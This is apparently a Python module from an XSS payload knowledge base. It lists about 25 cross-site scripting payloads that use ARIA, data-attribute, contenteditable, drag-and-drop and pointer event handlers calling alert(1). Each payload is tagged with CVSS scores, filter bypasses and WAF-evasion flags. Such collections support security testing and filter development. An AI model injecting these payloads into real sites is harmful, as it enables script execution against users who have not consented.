#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Truly Last XSS Payloads - Part 1
ARIA attributes, Data attributes, ContentEditable tricks, Drag and Drop, and Pointer events.
"""

from ..models import PayloadEntry


BRS_KB_TRULY_LAST_PAYLOADS_PART1 = {
    # ============================================================
    # ARIA ATTRIBUTES
    # ============================================================
    "aria-label-xss": PayloadEntry(
        payload='<div role="button" aria-label="x" onclick="alert(1)">click</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="ARIA button role with onclick",
        tags=["aria", "button"],
        bypasses=["role_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "aria-live-xss": PayloadEntry(
        payload='<div aria-live="polite" onclick="alert(1)">click</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="ARIA live region with onclick",
        tags=["aria", "live"],
        bypasses=["aria_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # DATA ATTRIBUTES
    # ============================================================
    "data-attr-js": PayloadEntry(
        payload='<div id=x data-xss="alert(1)"></div><script>eval(x.dataset.xss)</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Data attribute eval",
        tags=["data", "dataset"],
        bypasses=["data_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # CONTENT EDITABLE TRICKS
    # ============================================================
    "contenteditable-paste": PayloadEntry(
        payload='<div contenteditable onpaste="alert(1)">paste here</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="ContentEditable paste event",
        tags=["contenteditable", "paste"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "contenteditable-cut": PayloadEntry(
        payload='<div contenteditable oncut="alert(1)">cut this</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="ContentEditable cut event",
        tags=["contenteditable", "cut"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "contenteditable-copy": PayloadEntry(
        payload='<div contenteditable oncopy="alert(1)">copy this</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="ContentEditable copy event",
        tags=["contenteditable", "copy"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "contenteditable-beforeinput": PayloadEntry(
        payload='<div contenteditable onbeforeinput="alert(1)">type here</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="ContentEditable beforeinput event",
        tags=["contenteditable", "beforeinput"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # DRAG AND DROP
    # ============================================================
    "drag-ondragstart": PayloadEntry(
        payload='<div draggable="true" ondragstart="alert(1)">drag me</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Drag start event",
        tags=["drag", "dragstart"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "drag-ondrag": PayloadEntry(
        payload='<div draggable="true" ondrag="alert(1)">drag me</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Drag event",
        tags=["drag", "ondrag"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "drag-ondragend": PayloadEntry(
        payload='<div draggable="true" ondragend="alert(1)">drag me</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Drag end event",
        tags=["drag", "dragend"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "drop-ondragenter": PayloadEntry(
        payload='<div ondragenter="alert(1)">drop here</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Drag enter event",
        tags=["drop", "dragenter"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "drop-ondragleave": PayloadEntry(
        payload='<div ondragleave="alert(1)">leave here</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Drag leave event",
        tags=["drop", "dragleave"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "drop-ondragover": PayloadEntry(
        payload='<div ondragover="alert(1)">over here</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Drag over event",
        tags=["drop", "dragover"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "drop-ondrop": PayloadEntry(
        payload='<div ondrop="alert(1)">drop here</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Drop event",
        tags=["drop", "ondrop"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # POINTER EVENTS
    # ============================================================
    "pointer-onpointerdown": PayloadEntry(
        payload='<div onpointerdown="alert(1)">press</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Pointer down event",
        tags=["pointer", "pointerdown"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "pointer-onpointerup": PayloadEntry(
        payload='<div onpointerup="alert(1)">release</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Pointer up event",
        tags=["pointer", "pointerup"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "pointer-onpointermove": PayloadEntry(
        payload='<div onpointermove="alert(1)">move</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Pointer move event",
        tags=["pointer", "pointermove"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "pointer-onpointerenter": PayloadEntry(
        payload='<div onpointerenter="alert(1)">enter</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Pointer enter event",
        tags=["pointer", "pointerenter"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "pointer-onpointerleave": PayloadEntry(
        payload='<div onpointerleave="alert(1)">leave</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Pointer leave event",
        tags=["pointer", "pointerleave"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "pointer-onpointerover": PayloadEntry(
        payload='<div onpointerover="alert(1)">over</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Pointer over event",
        tags=["pointer", "pointerover"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "pointer-onpointerout": PayloadEntry(
        payload='<div onpointerout="alert(1)">out</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Pointer out event",
        tags=["pointer", "pointerout"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "pointer-onpointercancel": PayloadEntry(
        payload='<div onpointercancel="alert(1)">cancel</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Pointer cancel event",
        tags=["pointer", "pointercancel"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "pointer-gotpointercapture": PayloadEntry(
        payload='<div ongotpointercapture="alert(1)">capture</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Got pointer capture event",
        tags=["pointer", "gotpointercapture"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "pointer-lostpointercapture": PayloadEntry(
        payload='<div onlostpointercapture="alert(1)">lost</div>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Lost pointer capture event",
        tags=["pointer", "lostpointercapture"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # ============================================================
}
